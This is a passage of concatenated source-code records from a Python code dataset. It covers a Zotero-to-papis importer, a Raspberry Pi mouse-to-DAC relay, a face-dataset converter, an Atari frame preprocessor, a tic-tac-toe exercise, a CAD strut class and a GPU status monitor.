values, e.g. ``\"doi\"``.\n \"\"\"\n cursor = connection.cursor()\n cursor.execute(ZOTERO_QUERY_ITEM_FIELD, (item_id,))\n\n # get fields\n fields = {}\n for name, value in cursor:\n if name in papis_zotero.utils.ZOTERO_EXCLUDED_FIELDS:\n continue\n\n name = papis_zotero.utils.ZOTERO_TO_PAPIS_FIELDS.get(name, name)\n fields[name] = value\n\n # get year and month from date if available\n date = fields.pop(\"date\", None)\n if date is not None:\n m = ISO_DATE_RE.match(date)\n if m:\n if m.group(\"year\"):\n fields[\"year\"] = int(m.group(\"year\"))\n if m.group(\"month\"):\n fields[\"month\"] = int(m.group(\"month\"))\n else:\n # NOTE: didn't manage to match, so just save the whole date\n fields[\"date\"] = date\n\n return fields\n\n\nZOTERO_QUERY_ITEM_CREATORS = \"\"\"\nSELECT\n creatorTypes.creatorType,\n creators.firstName,\n creators.lastName\nFROM\n creatorTypes,\n creators,\n itemCreators\nWHERE\n itemCreators.itemID = ? AND\n creatorTypes.creatorTypeID = itemCreators.creatorTypeID AND\n creators.creatorID = itemCreators.creatorID\nORDER BY\n creatorTypes.creatorType,\n itemCreators.orderIndex\n\"\"\"\n\n\ndef get_creators(connection: sqlite3.Connection,\n item_id: str) -> Dict[str, List[str]]:\n cursor = connection.cursor()\n cursor.execute(ZOTERO_QUERY_ITEM_CREATORS, (item_id,))\n\n # gather creators\n creators_by_type: Dict[str, List[Dict[str, str]]] = {}\n for ctype, given_name, family_name in cursor:\n creators_by_type.setdefault(ctype.lower(), []).append({\n \"given\": given_name,\n \"family\": family_name,\n })\n\n # convert to papis format\n result: Dict[str, Any] = {}\n for ctype, creators in creators_by_type.items():\n result[ctype] = papis.document.author_list_to_author({\"author_list\": creators})\n result[f\"{ctype}_list\"] = creators\n\n return result\n\n\nZOTERO_QUERY_ITEM_ATTACHMENTS = \"\"\"\nSELECT\n items.key,\n itemAttachments.path,\n itemAttachments.contentType\nFROM\n itemAttachments,\n items\nWHERE\n itemAttachments.parentItemID = ? AND\n itemAttachments.contentType IN ({}) AND\n items.itemID = itemAttachments.itemID\n\"\"\".format(\",\".join([\"?\"] * len(\n papis_zotero.utils.ZOTERO_SUPPORTED_MIMETYPES_TO_EXTENSION)))\n\n\ndef get_files(connection: sqlite3.Connection, item_id: str, item_key: str,\n input_path: str, output_path: str) -> List[str]:\n cursor = connection.cursor()\n cursor.execute(\n ZOTERO_QUERY_ITEM_ATTACHMENTS,\n (item_id,) + tuple(papis_zotero.utils.ZOTERO_SUPPORTED_MIMETYPES_TO_EXTENSION))\n\n files = []\n for key, path, mime in cursor:\n import_paths = glob.glob(os.path.join(input_path, \"storage\", key, \"*.*\"))\n if not import_paths:\n continue\n\n import_path = import_paths[0]\n _, ext = os.path.splitext(import_path)\n file_name = \"{}{}\".format(key, ext)\n local_path = os.path.join(output_path, item_key, file_name)\n\n try:\n shutil.copyfile(import_path, local_path)\n files.append(file_name)\n except Exception as exc:\n logger.error(\"Failed to export attachment '%s': '%s' (%s).\", key,\n path, mime, exc_info=exc)\n\n return files\n\n\nZOTERO_QUERY_ITEM_TAGS = \"\"\"\nSELECT\n tags.name\nFROM\n tags,\n itemTags\nWHERE\n itemTags.itemID = ? AND\n tags.tagID = itemTags.tagID\n\"\"\"\n\n\ndef get_tags(connection: sqlite3.Connection, item_id: str) -> Dict[str, str]:\n cursor = connection.cursor()\n cursor.execute(ZOTERO_QUERY_ITEM_TAGS, (item_id,))\n\n tags = ZOTERO_TAG_DELIMITER.join(str(row[0]) for row in cursor)\n return {\"tags\": tags} if tags else {}\n\n\nZOTERO_QUERY_ITEM_COLLECTIONS = \"\"\"\nSELECT\n collections.collectionName\nFROM\n collections,\n collectionItems\nWHERE\n collectionItems.itemID = ? AND\n collections.collectionID = collectionItems.collectionID\n\"\"\"\n\n\ndef get_collections(connection: sqlite3.Connection,\n item_id: str) -> Dict[str, List[str]]:\n cursor = connection.cursor()\n cursor.execute(ZOTERO_QUERY_ITEM_COLLECTIONS, (item_id,))\n\n collections = [name for name, in cursor]\n return {\"collections\": collections} if collections else {}\n\n\nZOTERO_QUERY_ITEM_COUNT = \"\"\"\n SELECT\n COUNT(item.itemID)\n FROM\n items item,\n itemTypes itemType\n WHERE\n itemType.itemTypeID = item.itemTypeID AND\n itemType.typeName NOT IN ({})\n ORDER BY\n item.itemID\n\"\"\".format(\",\".join([\"?\"] * len(papis_zotero.utils.ZOTERO_EXCLUDED_ITEM_TYPES)))\n\nZOTERO_QUERY_ITEMS = \"\"\"\n SELECT\n item.itemID,\n itemType.typeName,\n key,\n dateAdded\n FROM\n items item,\n itemTypes itemType\n WHERE\n itemType.itemTypeID = item.itemTypeID AND\n itemType.typeName NOT IN ({})\n ORDER BY\n item.itemID\n\"\"\".format(\",\".join([\"?\"] * len(papis_zotero.utils.ZOTERO_EXCLUDED_ITEM_TYPES)))\n\n\ndef add_from_sql(input_path: str, output_path: Optional[str] = None) -> None:\n \"\"\"\n :param inpath: path to zotero SQLite database \"zoter.sqlite\" and\n \"storage\" to be imported\n :param outpath: path where all items will be exported to created if not\n existing\n \"\"\"\n import yaml\n\n if output_path is None:\n output_path = papis.config.get_lib_dirs()[0]\n\n if not os.path.exists(input_path):\n raise FileNotFoundError(\n \"[Errno 2] No such file or directory: '{}'\".format(input_path))\n\n if not os.path.exists(output_path):\n raise FileNotFoundError(\n \"[Errno 2] No such file or directory: '{}'\".format(output_path))\n\n zotero_sqlite_file = os.path.join(input_path, \"zotero.sqlite\")\n if not os.path.exists(zotero_sqlite_file):\n raise FileNotFoundError(\n \"No 'zotero.sqlite' file found in '{}'\".format(input_path))\n\n connection = sqlite3.connect(zotero_sqlite_file)\n cursor = connection.cursor()\n\n cursor.execute(ZOTERO_QUERY_ITEM_COUNT,\n papis_zotero.utils.ZOTERO_EXCLUDED_ITEM_TYPES)\n for row in cursor:\n items_count = row[0]\n\n cursor.execute(ZOTERO_QUERY_ITEMS,\n papis_zotero.utils.ZOTERO_EXCLUDED_ITEM_TYPES)\n for i, (item_id, item_type, item_key, date_added) in enumerate(cursor):\n path = os.path.join(output_path, item_key)\n if not os.path.exists(path):\n os.makedirs(path)\n\n # convert fields\n date_added = (\n datetime.strptime(date_added, \"%Y-%m-%d %H:%M:%S\")\n .strftime(papis.strings.time_format))\n item_type = papis_zotero.utils.ZOTERO_TO_PAPIS_TYPES.get(item_type, item_type)\n\n # get Zotero metadata\n fields = get_fields(connection, item_id)\n files = get_files(connection,\n item_id,\n item_key,\n input_path=input_path,\n output_path=output_path)\n\n item = {\"type\": item_type, \"time-added\": date_added, \"files\": files}\n item.update(fields)\n item.update(get_creators(connection, item_id))\n item.update(get_tags(connection, item_id))\n item.update(get_collections(connection, item_id))\n\n # create a reference\n ref = None\n extra = item.get(\"extra\", None)\n if extra:\n matches = re.search(r\".*Citation Key: (\\w+)\", extra)\n if matches:\n ref = matches.group(1)\n\n if ref is None:\n ref = papis.bibtex.create_reference(item)\n\n item[\"ref\"] = ref\n logger.info(\"[%4d/%-4d] Exporting item '%s' with ref '%s' to folder '%s'.\",\n i, items_count, item_key, ref, path)\n\n # write out the info file\n # FIXME: should use papis.yaml.data_to_yaml, but blocked by\n # https://github.com/papis/papis/pull/571\n with open(os.path.join(path, \"info.yaml\"), \"w+\", encoding=\"utf-8\") as fd:\n yaml.dump(item,\n stream=fd,\n allow_unicode=True,\n default_flow_style=False)\n\n logger.info(\"Finished exporting from '%s'.\", input_path)\n logger.info(\"Exported files can be found at '%s'.\", output_path)\n","sub_path":"papis_zotero/sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":9248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"216690272","text":"#!/usr/bin/python\n\n# adapted from mouse_relay_voltage.py on https://github.com/HanLabBU/movement_recording/blob/master/mouse_relay_voltage.py\n# unlike mouse_relayVoltage2.py, this one sends just the magnitude, and a separate signal for the sign (0(-) or 1(+))\nimport time\nfrom threading import Thread, Lock\nimport Adafruit_MCP4725 # using the deprecated Adafruit Python MCP4725 library\nimport RPi.GPIO as GPIO\n\n# Declare variables\ntransmit_timer = None\ndata_lock = Lock()\nppm = 400.*25./63.5*100. # num pixels per meter - ish\nmaxv = 3.5 # max velocity (m/s)\ntransmit_delay = .01 #.01\nread_delay = .001 #0.001\ndistCalib = 1./float(ppm)/transmit_delay/float(maxv)\n\n# initialize I2C buses (X: SDA 2 SC: 3; Y: SDA 17 SCL 27)\ndacX = Adafruit_MCP4725.MCP4725(address=0x60,busnum=1)\ndacY = Adafruit_MCP4725.MCP4725(address=0x60,busnum=3)\n\t\n# initialize the sign pins\nsignpins = [23, 24]\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(signpins,GPIO.OUT,initial=GPIO.LOW)\n\n\ntry:\n\t# distance calibration factor: what percent of maximum velocity?\n\t# so take # pixels / (pixels per meter) / (max velocity*transmit delay)\n\t# and let's make 0 = 50% = 1.65V\n\t\n\t# Dictionaries/structures containing data for each 'SENSOR'\n\tmouse1 = {\n\t\t'Name': '1',\n\t\t'File': file('/dev/input/mouse1'),\n\t\t'dx': 0,\n\t\t'dy': 0}\n\n\tprint('mouse_relay.py: \\n\\tMain thread initialized\\n\\tDefining I/O threads\\n')\n\n\n\t# SENDOUTPUTTHREAD - class for sending data as voltage (PWM) over gpio pins, subclass of Thread class\n\tclass SendOutputThread(Thread):\n\t\t# Call parent (Thread) constructor with additional argument: SENSOR\n\t\tdef __init__(self, sensor):\n\t\t Thread.__init__(self)\t \n\t\t self.sensor = sensor\n\t\t# Running code goes in 'run' method, called by obj.start() method\n\t\tdef run(self):\n\t\t\twhile True:\n\t\t\t\t# acquire and reset dx/dy data\n\t\t\t\tdata_lock.acquire()\n\t\t\t\tdx = float(self.sensor['dx'])\n\t\t\t\tself.sensor['dx'] = 0\n\t\t\t\tdy = float(self.sensor['dy'])\n\t\t\t\tself.sensor['dy'] = 0\n\t\t\t\tdata_lock.release()\t\t\t\t\t\t\t\t\n\t\t\t\t# convert to a a voltage output (12byte so 2^12=4096) \n\t\t\t\tdxout = int(4096*abs(dx)*distCalib)\n\t\t\t\tdyout = int(4096*abs(dy)*distCalib)\t\t\t\t\t\t\t\t\t\n\t\t\t\tdacX.set_voltage(dxout)\n\t\t\t\tdacY.set_voltage(dyout)\n\t\t\t\t# sign out (0 if neg, 1 if pos)\n\t\t\t\tGPIO.output([23, 24],(dx>=0, dy>=0))\n\t\t\t\t\n\t\t\t\t# Delay for transmission period (10 msec)\n\t\t\t\ttime.sleep(transmit_delay)\t\t\n\n\t# READINPUTTHREAD - class to read raw input from linux /dev/mouseX files\n\tclass ReadInputThread(Thread):\n\t\t# Call parent (Thread) constructor with additional argument: SENSOR\n\t\tdef __init__(self, sensor):\n\t\t Thread.__init__(self)\t \n\t\t self.sensor = sensor\n\t\t# Running code goes in 'run' method, called by obj.start() method\n\t\tdef run(self):\n\t\t\twhile True:\n\t\t\t\tnewdx = newdy = 0\n\t\t\t\t# Read raw values from mouse device file in linux filesystem\n\t\t\t\tdev_file = self.sensor['File']\n\t\t\t\tstatus, newdx, newdy = tuple(ord(c) for c in dev_file.read(3))\n\t\t\t\t# Define conversion to signed integer\n\t\t\t\tdef to_signed(n):\n\t\t\t\t\treturn n - ((0x80 & n) << 1)\n\t\t\t\t# Add accumulated readings\n\t\t\t\tif status:\n#\t\t\t\t\tprint(status)\n\t\t\t\t\tdata_lock.acquire()\n\t\t\t\t\tself.sensor['dx'] += to_signed(newdx)\n\t\t\t\t\tself.sensor['dy'] += to_signed(newdy)\n\t\t\t\t\tdata_lock.release()\n\t\t\t\ttime.sleep(read_delay)\n#\t\t\t\tprint('dx' + str(self.sensor['dx']))\n#\t\t\t\tprint('dy' + str(self.sensor['dy']))\n\tprint('\\tI/O threads defined\\n\\t...initializing now\\n')\n\t\t\t\n\t# Begin a transmitting thread for each mouse: SEND_OUTPUT\n\tgpio_out_thread1 = SendOutputThread(mouse1)\n\tgpio_out_thread1.setName('thread_out_mouse1')\n\t\t\t\n\t# Begin the sensing thread for each mouse: READ_INPUT\n\tdevread_in_thread1 = ReadInputThread(mouse1)\n\tdevread_in_thread1.setName('thread_in_mouse1')\n\tprint('\\tThreads initialized... starting all threads now\\n')\n\n\t# Start all threads\n\tgpio_out_thread1.start()\n\tdevread_in_thread1.start()\n\t\t\t\n\t# Join all threads to prevent program exit\n\tgpio_out_thread1.join()\n\tdevread_in_thread1.join()\n\nexcept KeyboardInterrupt:\n print(e)\n GPIO.cleanup() \n\nelse:\n\tGPIO.cleanup()\n\tprint('\\n\\nShutting down safely...')\n\n","sub_path":"old/mouse_relayVoltage2.py","file_name":"mouse_relayVoltage2.py","file_ext":"py","file_size_in_byte":4058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"552162032","text":"import os\nimport sys\nimport argparse\nfrom concurrent.futures import ProcessPoolExecutor\nfrom functools import partial\n\nimport numpy as np\nfrom PIL import Image\n\n# converting youtube faces npz format to widerface format\ndef convert_npz_to_widerface(npz_path, dst_path):\n image_path_list = []\n\n npz = np.load(npz_path)\n npz_name = os.path.basename(npz_path).split('.')[0]\n\n\n # transpose for iterate easily\n images = npz['colorImages'].transpose(3, 0, 1, 2) # n x y c\n\n image_x = images.shape[1]\n image_y = images.shape[2]\n\n pillow_images = [\n Image.fromarray(image) for image in images\n ]\n\n # transpose for iterate easily\n bboxes = npz['boundingBox'].transpose(2, 0, 1) # n x y\n # transpose for iterate easily\n landms = npz['landmarks2D'].transpose(2, 0, 1) # n x y\n\n # export jpg and label\n os.makedirs(os.path.join(dst_path, 'images/'), exist_ok=True)\n for idx, image in enumerate(pillow_images):\n image_path = '{}_{}.jpg'.format(npz_name, idx)\n image_path_list.append(\n '# {}\\n{} {} {} {} {:6f} {:6f} 1.0 {:6f} {:6f} 1.0 {:6f} {:6f} 1.0 {:6f} {:6f} 1.0 {:6f} {:6f} 0.5'.format(\n image_path,\n int(bboxes[idx][0][0]),\n int(bboxes[idx][0][1]),\n int(bboxes[idx][3][0] - bboxes[idx][0][0]),\n int(bboxes[idx][3][1] - bboxes[idx][0][1]),\n landms[idx][36][0],\n landms[idx][36][1],\n landms[idx][45][0],\n landms[idx][45][1],\n landms[idx][30][0],\n landms[idx][30][1],\n landms[idx][48][0],\n landms[idx][48][1],\n landms[idx][54][0],\n landms[idx][54][1]\n )\n )\n\n image.save(os.path.join(dst_path, 'images/', image_path), quality=95)\n\n return image_path_list\n\n\n\ndef parse_arguments(argv):\n parser = argparse.ArgumentParser()\n parser.add_argument('dataset_dir', type=str, help='dataset dir path')\n parser.add_argument('label_file', type=str, help='label.txt file path')\n parser.add_argument('--max_workers', type=int, help='label.txt file path', default=8)\n return parser.parse_args(argv)\n\n\ndef main(dataset_dir: str, label_file: str, max_workers: int):\n image_path_list = []\n\n dst_dir = os.path.abspath(os.path.dirname(label_file))\n os.makedirs(dst_dir, exist_ok=True)\n\n # preprocess for pararel processing \n args_list = [ os.path.abspath(os.path.join(dataset_dir + npz_name)) for npz_name in os.listdir(dataset_dir) ]\n binded_convert_dataset_to_widerface = partial(convert_npz_to_widerface, dst_path=dst_dir)\n\n # make CPU hotplate\n with ProcessPoolExecutor(max_workers=max_workers) as executor:\n for result in executor.map(binded_convert_dataset_to_widerface, args_list):\n image_path_list.extend(result) \n # for args in args_list:\n # binded_convert_dataset_to_widerface(args)\n\n # output label.txt\n with open(label_file, 'w') as image_path_list_file:\n image_path_list_file.write('\\n'.join(image_path_list))\n\n\nif __name__ == '__main__':\n args = parse_arguments(sys.argv[1:])\n main(args.dataset_dir, args.label_file, args.max_workers)","sub_path":"youtube_to_widerface.py","file_name":"youtube_to_widerface.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"644337085","text":"# you can write to stdout for debugging purposes, e.g.\n# print \"this is a debug message\"\n\ndef solution(A):\n # write your code in Python 2.7\n A.sort()\n for i, v in enumerate(A):\n if(i+1 != v):\n return 0\n return 1","sub_path":"CodilityChallenges/2PermCheck.py","file_name":"2PermCheck.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"468959674","text":"\"\"\"Module copied from DennyBritz/reinforcement-learning for preprocessing \nAtari 2600 images for DQN, slightly modified to take advantage of our GPU\nconvolution implementation.\n\"\"\"\n\nimport tensorflow as tf\n\nclass StateProcessor():\n \"\"\"\n Processes raw Atari images. Resizes it and converts to greyscale.\n \"\"\"\n\n def __init__(self):\n with tf.variable_scope(\"state_processor\"):\n self.input_state = tf.placeholder(shape=[210, 160, 3], dtype=tf.uint8)\n self.output = tf.image.rgb_to_grayscale(self.input_state)\n self.output = tf.image.crop_to_bounding_box(self.output, 34, 0, 160, 160)\n self.output = tf.image.resize_images(self.output, [84, 84], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR)\n self.output = tf.squeeze(self.output)\n\n def process(self, sess, state):\n \"\"\"\n Args:\n sess: A Tensorflow session object.\n state: A [210, 160, 3] Atari RGB State\n\n Returns:\n A processed [105, 80, 1] state representing grayscale values\n \"\"\"\n return sess.run(self.output, {self.input_state : state})\n","sub_path":"code/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"410872516","text":"class TicTacToe:\n def __init__(self):\n # \"board\" is a list of 10 strings representing the board (ignore index 0)\n self.board = [\" \"]*10\n self.board[0]=\"#\"\n self.turn = 'x'\n self.trueWinner = ''\n \n def drawBoard(self):\n print(' ' + self.board[7] + ' ' + '|' + ' ' + self.board[8] + ' ' + '|' + ' ' + self.board[9] + ' ' + '\\t' + ' 7 ' + '|' + ' 8 ' + '|' + ' 9 ')\n print('-'*11 + '\\t' + '-'*11)\n print(' ' + self.board[4] + ' ' + '|' + ' ' + self.board[5] + ' ' + '|' + ' ' + self.board[6] + ' ' + '\\t' + ' 4 ' + '|' + ' 5 ' + '|' + ' 6 ')\n print('-'*11 + '\\t' + '-'*11)\n print(' ' + self.board[1] + ' ' + '|' + ' ' + self.board[2] + ' ' + '|' + ' ' + self.board[3] + ' ' + '\\t' + ' 1 ' + '|' + ' 2 ' + '|' + ' 3 ') \n\n \n def boardFull(self):\n if ' ' not in self.board:\n return True\n else:\n return False\n \n\n def cellIsEmpty(self, cell):\n if cell >= 1 and cell <= 9:\n if self.board[cell] == ' ':\n return True\n else:\n self.drawBoard\n print('Cell is filled')\n else:\n print('Not allowed, out of bounds')\n \n\n def assignMove(self, cell,ch):\n if self.cellIsEmpty(cell):\n self.board[cell] = ch\n self.drawBoard()\n self.changeTurn(ch)\n \n def chooseXOName(self):\n nameInput1 = input('What is your name, player one?')\n nameInput2 = input('What is your name, player two?')\n import random\n XOList = ['x','o']\n player1XO = []\n player2XO = []\n player1choice = input(nameInput1 + ' do you want to play x or o? Type r if you want me to chose for you.')\n if player1choice == 'x':\n player1XO.append(XOList[0])\n player1XO.append(nameInput1)\n player2XO.append(XOList[1])\n player2XO.append(nameInput2)\n if player1choice == 'o':\n player1XO.append(XOList[1])\n player1XO.append(nameInput1)\n player2XO.append(XOList[0])\n player2XO.append(nameInput2)\n if player1choice == 'r':\n randomchoice = random.randint(0,1)\n player1XO.append(XOList[randomchoice])\n player1XO.append(nameInput1)\n XOList.remove(XOList[randomchoice])\n player2XO.append(XOList[0])\n player2XO.append(nameInput2)\n print(player1XO[1], 'is playing as',player1XO[0])\n print(player2XO[1], 'is playing as', player2XO[0]) \n return player1XO, player2XO\n \n def whoWon(self):\n if self.isWinner(\"x\"):\n return \"x\"\n elif self.isWinner(\"o\"):\n return \"o\"\n else:\n return \"\"\n \n def isWinner(self, ch): \n return((self.board[7] == ch and self.board[8] == ch and self.board[9] ==ch) or\n (self.board[4] == ch and self.board[5] == ch and self.board[6] ==ch) or\n (self.board[1] == ch and self.board[2] == ch and self.board[3] ==ch) or\n (self.board[7] == ch and self.board[4] == ch and self.board[1] ==ch) or\n (self.board[8] == ch and self.board[5] == ch and self.board[2] ==ch) or\n (self.board[9] == ch and self.board[6] == ch and self.board[3] ==ch) or\n (self.board[7] == ch and self.board[5] == ch and self.board[3] ==ch) or\n (self.board[9] == ch and self.board[5] == ch and self.board[1] ==ch)) \n \n def promptPlayerTurn(self):\n cell = int(input(\"It's \" + self.turn + \"'s turn. Enter a valid move: \"))\n if self.cellIsEmpty(cell):\n self.assignMove(cell,self.turn) \n print(self.board)\n def trueWinner(self):\n if self.turn == 'x':\n self.trueWinner = 'o'\n if self.turn == 'o':\n self.trueWinner = 'x'\n \n def changeTurn(self,ch):\n if self.turn ==\"o\":\n self.turn = \"x\"\n elif self.turn == \"x\":\n self.turn = \"o\" \n \n def playGame(self):\n chooseXONamevalue = self.chooseXOName()\n self.drawBoard()\n while True: \n self.promptPlayerTurn()\n if not self.whoWon() == \"\":\n if chooseXONamevalue[0][0] == self.whoWon():\n print(chooseXONamevalue[0][1] + \" won.\")\n break\n else:\n print(chooseXONamevalue[1][1] + \" won.\")\n break \n if self.boardFull():\n print(\"It's a tie.\")\n break \n \n \nmyBoard = TicTacToe()\nmyBoard.playGame()","sub_path":"Python/CMPUT175 Labs/CompSci 175 Lab 3/Lab3Exercise.py","file_name":"Lab3Exercise.py","file_ext":"py","file_size_in_byte":4685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"452312603","text":"from math import radians, sin, cos, tan\n\nfrom parapy.core import Input, Attribute, Part\nfrom parapy.geom import *\n\nimport kbeutils.avl as avl\n\n\n###############################################################################\n# PLATE-SHAPED STRUT CLASS #\n# In this file, the base of the plate-shaped strut is defined. It can #\n# return a single strut part, which will be partioned and correctly #\n# translated in the SpoilerAssembly class. #\n# #\n# Inputs: #\n# - Chord of the struts, as fraction of the chord of the main plate #\n# - Height of the struts, as defined from car base to spoiler base #\n# - Thickness of the struts #\n# - Sweepback angle of the struts #\n# - Cant angle of the struts #\n# - main, defined as a Part entry of the main plate geometry #\n###############################################################################\n\n\nclass StrutPlate(GeomBase):\n\n chord_fraction = Input()\n strut_height = Input()\n strut_thickness = Input()\n strut_sweepback_angle = Input()\n strut_cant_angle = Input()\n main = Input()\n\n @Attribute\n def strut_chord(self):\n \"\"\"\" This attribute calculates the actual chord of the struts,\n which is defined in the x-direction. It makes sure that the chord of\n the strut will never exceed the chord (projected in x-direction) of\n the main plate. \"\"\"\n return self.main[-1].chord * self.chord_fraction \\\n * cos(radians(self.main[-1].angle))\n\n @Attribute\n def wetted_area(self):\n \"\"\" This attribute calculates the total wetted area of the struts.\n It calculates the area of each of the sides of the struts, and adds\n these separate contributions. \"\"\"\n return 2 * (2 * self.strut_height * self.strut_chord +\n 2 * self.strut_height * self.strut_thickness +\n 2 * self.strut_chord * self.strut_thickness)\n\n @Part(in_tree=False)\n def upper_curve_rectangle(self):\n \"\"\" Create the upper rectangular curve, based on the strut chord and\n thickness. This curve is later used for creating a ruled solid. \"\"\"\n return Rectangle(width=self.strut_chord, length=self.strut_thickness,\n centered=False)\n\n @Part(in_tree=False)\n def lower_curve_rectangle(self):\n \"\"\" Create the lower rectangular curve for the ruled solid,\n by translating the upper curve in the right direction by means of\n strut height, sweepback angle and cant angle. \"\"\"\n return Rectangle(width=self.strut_chord, length=self.strut_thickness,\n position=translate(\n self.upper_curve_rectangle.position,\n \"x\", -self.strut_height *\n tan(radians(self.strut_sweepback_angle)),\n \"y\", -self.strut_height *\n tan(radians(self.strut_cant_angle)),\n \"z\", -self.strut_height),\n centered=False)\n\n @Part(in_tree=False)\n def extended_curve_rectangle(self):\n \"\"\" In order to cut off the strut at the lower side of the main\n plate (at any main plate angle), the strut upper curve is extended\n to a higher z-location from where it can be easily partioned. The\n upper curve is extended in the correct direction by means of the\n strut height, sweepback angle and the cant angle. This instance will\n make sure that the strut is always attached to the lower side of the\n main plate. \"\"\"\n return Rectangle(width=self.strut_chord, length=self.strut_thickness,\n position=translate(\n self.upper_curve_rectangle.position,\n \"x\", (self.strut_height + self.main[-1].chord) *\n tan(radians(self.strut_sweepback_angle)),\n \"y\", (self.strut_height + self.main[-1].chord) *\n tan(radians(self.strut_cant_angle)),\n \"z\", self.strut_height + self.main[-1].chord),\n centered=False)\n\n @Part(in_tree=False)\n def solid(self):\n \"\"\" Create the initial ruled solid for the extended strut from the\n rectangular curves. \"\"\"\n return RuledSolid(profile1=self.extended_curve_rectangle,\n profile2=self.lower_curve_rectangle)\n\n # Smooth the edges to obtain a filleted strut\n @Part(in_tree=True)\n def strut(self):\n \"\"\" Fillet the edges of the extended ruled solid to obtain a more\n refined plate-shaped strut. This instance will later be cut-off at\n the lower side of the main plate, and subtracted in the\n SpoilerAssembly class. \"\"\"\n return FilletedSolid(built_from=self.solid,\n radius=self.strut_thickness / 3)\n","sub_path":"analysis/spoiler_files/strut_plate.py","file_name":"strut_plate.py","file_ext":"py","file_size_in_byte":5331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"321354782","text":"#!/usr/bin/python\nimport subprocess as sp\nimport xml.etree.ElementTree\nimport os\nimport pwd\nimport argparse\nimport psutil\nimport socket\nimport getpass\nmy_username = getpass.getuser()\n\n\nred_c = '\\x1b[0;31m'\nblue_c = '\\x1b[0;34m'\ncyan_c = '\\x1b[0;36m'\ngreen_c = '\\x1b[0;32m'\nyellow_c = '\\x1b[0;33m'\nmagenta_c = '\\x1b[0;35m'\nred_cb = '\\x1b[1;31m'\nblue_cb = '\\x1b[1;34m'\ncyan_cb = '\\x1b[1;36m'\ngreen_cb = '\\x1b[1;32m'\nyellow_cb = '\\x1b[1;33m'\nmagenta_cb = '\\x1b[1;35m'\ngray_c = '\\x1b[0;37m'\n\ndef owner(pid):\n try:\n # the /proc/PID is owned by process creator\n proc_stat_file = os.stat(\"/proc/{}\".format(pid))\n # get UID via stat call\n uid = proc_stat_file.st_uid\n # look up the username from uid\n username = pwd.getpwuid(uid)[0]\n except:\n username = 'unknown'\n return username\n\n\ndef get_status():\n status = {}\n color_out = '\\x1b[0m'\n \n smi_cmd = ['nvidia-smi', '-q', '-x'] # get XML output\n proc = sp.Popen(smi_cmd, stdout=sp.PIPE, stderr=sp.PIPE)\n stdout, stderr = proc.communicate()\n\n gpu_info_cmd = ['nvidia-smi',\n '--query-gpu=index,memory.total,memory.used,memory.free,utilization.gpu,temperature.gpu',\n '--format=csv,noheader']\n\n proc = sp.Popen(gpu_info_cmd, stdout=sp.PIPE, stderr=sp.PIPE)\n gpu_stdout, gpu_stderr = proc.communicate()\n gpu_infos = gpu_stdout.strip().split('\\n')\n gpu_infos = map(lambda x: x.split(', '), gpu_infos)\n gpu_infos = [{'index': x[0],\n 'mem_total': x[1],\n 'mem_used': x[2],\n 'mem_free': x[3],\n 'gpu_util': x[4],\n 'gpu_temp': x[5]}\n for x in gpu_infos]\n\n e = xml.etree.ElementTree.fromstring(stdout)\n for id, gpu in enumerate(e.findall('gpu')):\n gpu_stat = {}\n\n index = int(gpu_infos[id]['index'])\n utilization = gpu.find('utilization')\n gpu_util = utilization.find('gpu_util').text\n gpu_temp = gpu_infos[id]['gpu_temp'].split()[0]\n mem_free = gpu_infos[id]['mem_free'].split()[0]\n mem_total = gpu_infos[id]['mem_total'].split()[0]\n\n gpu_stat['gpu_util'] = float(gpu_util.split()[0]) / 100\n gpu_stat['mem_free'] = int(mem_free)\n gpu_stat['mem_total'] = int(mem_total)\n gpu_stat['gpu_temp'] = int(gpu_temp)\n\n gpu_procs = []\n procs = gpu.find('processes')\n for procinfo in procs.iter('process_info'):\n pid = int(procinfo.find('pid').text)\n mem = procinfo.find('used_memory').text\n mem_num = int(mem.split()[0])\n user = owner(pid)\n\n if user == my_username:\n user = blue_cb + user + color_out\n else:\n user = gray_c + user + color_out\n\n tmp = {'user': user,\n 'mem': mem_num,\n 'pid': pid,\n }\n command = \"\"\n try:\n p = psutil.Process(pid)\n command = ' '.join(p.cmdline())\n tmp['command'] = command\n except:\n pass\n gpu_procs.append(tmp)\n gpu_stat['proc'] = gpu_procs\n status[index] = gpu_stat\n\n return status\n\ndef get_color_memory(value, max_value=1.0):\n perc = 100 * (float(value) / max_value)\n if perc > 95:\n return green_cb\n elif perc > 80:\n return blue_cb\n elif perc > 40:\n return yellow_cb\n else:\n return red_cb\n\ndef pretty_print(status, verbose=False):\n line_separator = '+-----+------+--------------------+----------+'\n print(line_separator)\n print('| GPU | TEMP | Memory-Usage | GPU-Util |')\n print('|=====+======+====================+==========|')\n for id, stats in status.iteritems():\n color_out = '\\x1b[0m'\n\n # GPU Memory\n mem_free = stats['mem_free']\n mem_total = stats['mem_total']\n mem_color = get_color_memory(mem_free, mem_total)\n\n # GPU Proc\n gpu_util = stats['gpu_util']\n gpu_color = get_color_memory(1.0 - gpu_util)\n\n # GPU Temp\n temp = stats['gpu_temp']\n\n header = '| {:2d} | {:3d}C | {}{:6d}{} /{:6d} MiB | {}{:7d}{}% |'.format(id,\n temp,\n mem_color,\n mem_free,\n color_out,\n mem_total,\n gpu_color,\n int(100*gpu_util),\n color_out)\n print(header)\n print(line_separator)\n\n line_separator = '+-----+---------------------+---------+----------------+'\n print('')\n print(line_separator)\n print('| GPU | PROCESS OWNER | PID | MEMORY |')\n print('|=====+=====================+=========+================|')\n for id, stats in status.iteritems():\n if len(stats['proc']) == 0:\n continue\n for proc in stats['proc']:\n line = '| {:2d} | {:30s} | {:7d} | {:10} MiB |'.format(id, proc['user'], proc['pid'], proc['mem'])\n 